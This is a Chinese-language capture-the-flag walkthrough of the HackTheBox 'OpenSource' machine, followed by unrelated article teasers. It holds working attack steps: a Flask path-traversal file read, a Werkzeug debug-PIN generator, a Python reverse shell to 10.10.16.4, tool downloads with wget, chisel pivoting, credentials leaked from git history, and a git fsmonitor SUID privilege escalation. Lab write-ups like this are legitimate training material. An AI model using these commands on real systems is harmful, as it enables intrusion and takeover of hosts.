【HTB】 OpenSource

OpenSource

靶机地址:https://app.hackthebox.com/machines/471

信息收集

┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.212.208 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 16:01 CST
Nmap scan report for 10.129.212.208
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Mon, 08 Apr 2024 08:01:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Mon, 08 Apr 2024 08:01:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=4/8%Time=6613A46B%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.10\.3\r\nDate:\x20Mon,\x2008\x20Apr\x202024\x2008:01:15\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:205316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x
SF:20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20nam
SF:e=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\"
SF:>\n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Fre
SF:e!</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jq
SF:uery-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/st
SF:atic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<scri
SF:pt\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\
SF:n\x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workarou
SF:nd\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/b
SF:ootstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x
SF:20\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\
SF:r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Mon,\x200
SF:8\x20Apr\x202024\x2008:01:15\x20GMT\r\nContent-Type:\x20text/html;\x20c
SF:harset=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20H
SF:TML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n
SF:\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\
SF:x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1
SF:>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20co
SF:de:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20r
SF:equest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x
SF:20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x
SF:20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.86 seconds

开放22、80、3000端口。
先访问80web端口
在这里插入图片描述
dirsearch扫描着

┌──(root㉿kali)-[~/Desktop]
└─# dirsearch -u http://10.129.212.208                                         
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                          
                                                                                                                                 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/reports/http_10.129.212.208/_24-04-08_16-06-33.txt

Target: http://10.129.212.208/

[16:06:33] Starting:                                                                                                             
[16:07:56] 200 -    2KB - /console                                          
[16:08:08] 200 -    2MB - /download                                         
[16:09:36] 500 -   16KB - /uploads/affwp-debug.log                          
[16:09:36] 500 -   15KB - /uploads/dump.sql 

获取shell

访问/console
在这里插入图片描述
有一个PIN锁。
在这里插入图片描述
看样能生成PIN。同时也知道了这是python的flask框架。
https://blog.csdn.net/qq_35782055/article/details/129126825

通过文章得知

通过PIN码可以进入flask的debug模式,从而执行代码,进而getshell

pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测。
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

看样子要找到任意文件读取的漏洞。那么在哪呢?继续收集信息。

在web页面中点击download能下载源码。解压看看
在这里插入图片描述
先脱下来,一会再说。点击Take me there!,会跳转到一个上传功能页面。
在这里插入图片描述
经测试,这个是可以上传东西并下载的。
在这里插入图片描述
继续查看源码
在这里插入图片描述
在这里插入图片描述
@app.route('/', methods=['GET', 'POST']) 定义路由,使用GET和POST方法访问网站根目录会执行下方的upload_file()函数。
@app.route('/uploads/<path:path>')一样,访问网站uploads目录下的文件,会执行send_report(path)函数。但这有个小细节。也就是传入get_file_name(path)函数的只包括uploads后的那一部分。比如访问/uploads/..//../../../etc/passwdget_file_name(path)函数只会处理..//../../../etc/passwd
原理可以搜索flask的自定义路由转换器,我是看的这个视频https://www.bilibili.com/video/BV1pa4y117iE/?p=7
跟踪get_file_name(path)函数函数,发现他只是将../替换为空
在这里插入图片描述
那么,如果传入uploads/..//etc/passwd,那么send_files()函数处理的便是etc/passwd。(这是flask框架自带的函数,用于发送文件的)
也就是说,这里存在任意文件读取。抓包试试。
在这里插入图片描述
读取成功。
回到PIN锁需要的信息,已经知道

pin码生成要六要素
1.username root #在source\config\supervisord.conf中找到
2.modname 默认flask.app 
3.appname 默认Flask
4.moddir /usr/local/lib/python3.10/site-packages/flask/app.py #flask库下app.py的绝对路径,可以通过报错拿到。
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id /proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接

在这里插入图片描述
/sys/class/net/eth0/address
在这里插入图片描述
再将其转为十进制,为2485377892358
https://www.vultr.com/zh/resources/mac-converter/
在这里插入图片描述
/proc/sys/kernel/random/boot_id,b01e2717-bfd4-4595-a6fe-c94cdcde88d5
在这里插入图片描述
/proc/self/cgroup,7c4ad9fe23a4742c8f510fbdbf77e5e5118469c3ac89280b62c797de1422d198
在这里插入图片描述
那么拼接到脚本中

import hashlib
from itertools import chain
probably_public_bits = [
        'root',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
        '2485377892358',  # 访问 /sys/class/net/eth0/address
        'b01e2717-bfd4-4595-a6fe-c94cdcde88d57c4ad9fe23a4742c8f510fbdbf77e5e5118469c3ac89280b62c797de1422d198'  # /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

在这里插入图片描述
进入控制台。
在这里插入图片描述
网上搜索python的反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

同时本地开启监听。
在这里插入图片描述
其实上文的/proc/self/cgroup·也提示了这是docker环境

重新反弹shell,同时也重新监听。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

逃逸docker

在docker环境中自然是找不到flag的,但是发现有个主机一直在访问此docker环境。使用chisel挂上代理扫一扫。
在这里插入图片描述
本地开启http服务。

python3 -m http.server 8888

反弹shell中下载

wget http://10.10.16.4:8888/chisel

在这里插入图片描述
本地

./chisel server --reverse --port 1234

在这里插入图片描述
靶机上

./chisel client 10.10.16.4:1234 R:socks

在这里插入图片描述
本地添加上代理

vim /etc/proxychains4.conf

在这里插入图片描述
挂上proxychains开始扫描。直接使用-p-参数扫描会很慢。所以最好是指定端口。

proxychains nmap -sT -Pn -p- 172.17.0.1 --min-rate=5000

在这里插入图片描述

proxychains nmap -sT -Pn -p22,80,443,3000 172.17.0.1

172.17.0.1开放了3000端口。
在这里插入图片描述

在浏览器配置上代理访问下3000端口试试
在这里插入图片描述
找到一个gitea仓库。
在这里插入图片描述
在 Explore 发现一个 dev01 用户
在这里插入图片描述
在下载的源码中使用git命令

┌──(root㉿kali)-[~/Downloads/source]
└─# git branch 
  dev
* public
                                                                                                                                 
┌──(root㉿kali)-[~/Downloads/source]
└─# git checkout dev
切换到分支 'dev'
                                                                                                                                 
┌──(root㉿kali)-[~/Downloads/source]
└─# git log         
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial
                                                                                                                                 
┌──(root㉿kali)-[~/Downloads/source]
└─# git diff a76f8f75f7a4a12b706b0cf9c983796fa1985820 ee9d9f1ef9156c787d53074493e39ae364cd1e05
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
-  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
-  "http.proxyStrictSSL": false
-}
diff --git a/app/app/views.py b/app/app/views.py
index 0f3cc37..f2744c6 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,17 +6,7 @@ from flask import render_template, request, send_file
 from app import app
 
 
-@app.route('/')
-def index():
-    return render_template('index.html')
-
-
-@app.route('/download')
-def download():
-    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
-
-
-@app.route('/upcloud', methods=['GET', 'POST'])
+@app.route('/', methods=['GET', 'POST'])
 def upload_file():
:

找到了账号密码dev01:Soulless_Developer#2022

使用此账户密码登录gitea系统
在这里插入图片描述
在仓库中找到了ssh私钥。
在这里插入图片描述

于是乎可以下载下来连接主机了。

chmod 600 id_rsa	#ssh私钥文件权限只能是600,权限不对会连接不上
ssh -i id_rsa dev01@10.129.212.157

在这里插入图片描述

提权

htb的靶场似乎不能用linux内核漏洞提权。老老实实跟着wp走吧。
没有密码,执行sudo -l不成功,用刚刚找到的密码也不对。
上pspy监听进程吧。

wget htpp://10.10.16.4:8888/pspy64
chmod +x pspy64 
./pspy64

在这里插入图片描述
执行的命令是 /usr/lib/git-core/git-remote-http,这是一个Git命令行工具,用于管理Git远程仓库的HTTP访问。在这个例子中,它被用来设置或查询名为 origin 的远程仓库的URL。UID=0,为root权限。

修改git的配置文件,让其以root权限执行命令。
在这里插入图片描述
./git/config文件中添加fsmonitor = "chmod 4755 /bin/bash"

这个命令的作用是给予/bin/bash SUID(Set User ID upon execution)权限。
SUID权限允许任何用户以文件所有者(在这个例子中是root)的身份执行文件。因此,当chmod 4755 /bin/bash命令执行后,任何用户都可以运行bash -p来启动一个具有root权限的shell。

在这里插入图片描述

写在最后

本人有点菜,这个靶场用时有点久。写wp时重启了下环境,所以目的IP变了。
有些地方还没解释清楚。会回来重新补充的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/528795.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Nginx服务 重写功能与反向代理

六、重写功能 rewrite Nginx服务器利用 ngx_http_rewrite_module 模块解析和处理rewrite请求&#xff0c;此功能依靠 PCRE(perl compatible regular expression)&#xff0c;因此编译之前要安装PCRE库&#xff0c;rewrite是nginx服务器的重要功能之一&#xff0c;用于实现URL的…

Unity 世界坐标、屏幕坐标、UGUI 坐标 相互转换

Unity 世界坐标、屏幕坐标、UGUI 坐标 相互转换坐标转换是游戏开发过程中必不可少的环节 看下图 世界坐标、屏幕坐标、UI 坐标 三种坐标系的转换过程&#xff0c;此文章中的 UI 坐标特指 UGUI 坐标 从上图可以看到&#xff0c;世界坐标 和 UI 坐标 需要通过 屏幕坐标作为中间转…

MemberPress配置和使用会员登录页面

目录 隐藏 创建会员登录页面 编辑登录页面 设计您的登录页面 链接到您的登录页面 创建会员登录页面 要创建MemberPress会员登录页面&#xff0c;您需要做的就是导航到 MemberPress > 设置 > 页面选项卡&#xff0c;然后在页面顶部附近的“MemberPress 登录页面”…

面试官脑子有病系列:为什么 HashMap 是线程不安全的?

文章目录 前言HashMap为啥线程不安全&#xff1f;HashMap线程不安全的根本原因put 方法中的非原子性操作扩容时的非原子性操作 安全的HashMap总结 前言 Hi&#xff0c;大家好&#xff0c;我是王二蛋。 我们在面试的时候&#xff0c;经常会被问到一些有的没的、看似高深但与日…

科技型中小企业怎么做

在当今快速发展的科技时代&#xff0c;科技型中小企业扮演着越来越重要的角色。这些企业不仅推动了技术创新&#xff0c;还为经济增长和社会进步做出了巨大贡献。那么&#xff0c;科技型中小企业应如何制定并执行其发展战略呢&#xff1f; 1. 明确定位与战略规划 对于任何企业…

SD-WAN为出海电商提供了什么支持

出海电商行业的持续发展与壮大&#xff0c;使得网络连接的稳定性和效率成为其成功的关键因素。SD-WAN&#xff08;软件定义广域网&#xff09;作为一种先进的网络解决方案&#xff0c;为出海电商提供了诸多优势和支持。 首先&#xff0c;SD-WAN通过智能路由技术&#xff0c;能够…

华火电焰灶测评:电焰灶十大品牌哪个好?实力排名怎么样?

华火新能源电焰灶作为现代厨房技术的一大创新&#xff0c;近年来受到了广泛关注。在新能源电焰灶市场中&#xff0c;目前只有华火品牌具有独立研发、独立生产、品质背书、完善服务等雄厚的综合实力&#xff1b;而华火品牌凭借其独特的技术和优势&#xff0c;与其他传统燃气灶品…

EDM邮件群发推广多少钱?有哪些优势?

电子邮件营销&#xff08;Electronic Direct Mail, EDM&#xff09;以其高性价比、精准定向与可度量效果的优势&#xff0c;成为众多企业不可或缺的营销策略。云衔科技&#xff0c;作为企业数字广告营销和SaaS软件服务的领军者&#xff0c;以其创新的智能EDM邮件营销系统解决方…

2024 工业物联网通信与网络安全国际学术会议(IIOTNS 2024)

【会议英文官网】&#xff1a;www.iiotns2024.org 【会议时间】&#xff1a; 2024年5月10-12日 【一轮截稿时间】&#xff1a; 2024年3月10-12日 所有于一轮截稿时间之前投稿&#xff0c;后续通过审核并被大会录用的稿件享早鸟优惠&#xff1a;单篇立减400元&#xff01;&am…

如何快速识别陶瓷件的外观缺陷吗?

陶瓷件由陶瓷材料制成的物品或零部件&#xff0c;通常用于装饰、日常生活用品、工艺品或工业应用。陶瓷是一种非金属材料&#xff0c;具有耐高温、耐磨损、绝缘、化学稳定等特性&#xff0c;因此在许多领域得到广泛应用。 本案针对陶瓷件尺寸长25mm*宽11mm*高2mm的产品的外观检…

HarmonyOS 应用开发-ArkUI事件机制

ArkUI提供了事件机制&#xff0c;这些事件提供了不同的信息用于处理程序交互逻辑&#xff0c;ArKUI事件按照功能来讲&#xff0c;可以分为以下几种&#xff1a; 点击事件触摸事件挂载卸载事件拖拽事件按键事件焦点事件鼠标事件组件区域变化事件组件可见区域变化事件组件快捷键…

C++ primer 第十八章

C语言的三大特性&#xff1a;异常处理、命名空间、多重继承。 1.异常处理 异常处理机制允许我们能够将问题的检测与解决过程分离开来。 1.1、抛出异常 在C语言中&#xff0c;我们通过抛出一条表达式来引发一个异常。 当执行一个throw时&#xff0c;程序的控制权从throw转移…

T527 Qt 触摸 ----- TSLIB

一、调试 1、驱动路径 bsp/drivers/input/ctp/gt9xx/gt9xx_ts.c 2、硬件接口 挂载在TWI0下 3、中断复位脚 4、设备树 &twi0 {clock-frequency <400000>;pinctrl-0 <&twi0_pins_default>;pinctrl-1 <&twi0_pins_sleep>;pinctrl-names &quo…

SpringBoot 定时任务实践、定时任务按指定时间执行

Q1. springboot怎样创建定时任务&#xff1f; 很显然&#xff0c;人人都知道&#xff0c;Scheduled(cron ".....") Q2. 如上所示创建了定时任务却未能执行是为什么&#xff1f; 如果你的cron确定没写错的话 cron表达式是否合法&#xff0c;可参考此处&#xff0c…

MAC苹果电脑如何使用Homebrew安装iperf3

一、打开mac终端 找到这个终端打开 二、终端输入安装Homebrew命令 Homebrew官网地址&#xff1a;https://brew.sh/ 复制这个命令粘贴到mac的终端窗口&#xff0c;然后按回车键 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/in…

ModuleNotFoundError: No module named ‘ultralytics.utils‘

项目场景he 问题描述 提示&#xff1a;这里简述项目相关背景&#xff1a; model YOLO(modelr./yolov8m-cls.pt) 加载预训练模型时报错。 ModuleNotFoundError: No module named ultralytics.utils warning: bug: 原因分析&#xff1a; 很可能是提前下载的预训练模型出了…

川川本人著作《Python3编程从零基础到实战》

在数字时代&#xff0c;Python已经成为了一种极为强大和灵活的编程语言&#xff0c;它的应用范围从网站开发到数据科学&#xff0c;再到机器学习和人工智能。无论你是一名编程新手还是希望深化已有技能的开发者&#xff0c;《Python3编程从零基础到实战》将成为你通往Python世界…

css面试题---场景应用

1、实现一个三角形 css一般用border属性实现三角形。 div {width: 0;height: 0;border: 100px solid;border-color: orange blue red green; } // 三角形一 div {width: 0;height: 0;border-top: 50px solid red;border-right: 50px solid transparent;border-left: 50px soli…

SAP HCM 0000与0001信息类型不一致导致 DUMP解决方案

今天遇到一个很奇怪的问题&#xff0c;就是执行PA20与工资核算的时候&#xff0c;系统down掉&#xff0c;不知道什么问题&#xff0c;后来想想遇到这样标准程序界面down掉&#xff0c;无非就是数据问题&#xff0c;增强问题。所以就需要向这个方向靠&#xff0c;HCM核心的信息类…

线性、逻辑回归算法学习

1、什么是一元线性回归 线性&#xff1a;两个变量之间的关系是一次函数&#xff0c;也是数据与数据之间的关系。 回归&#xff1a;人们在测试事物的时候因为客观条件所限&#xff0c;求的都是测试值&#xff0c;而不是真实值&#xff0c;为了无限接近真实值&#xff0c;无限次的…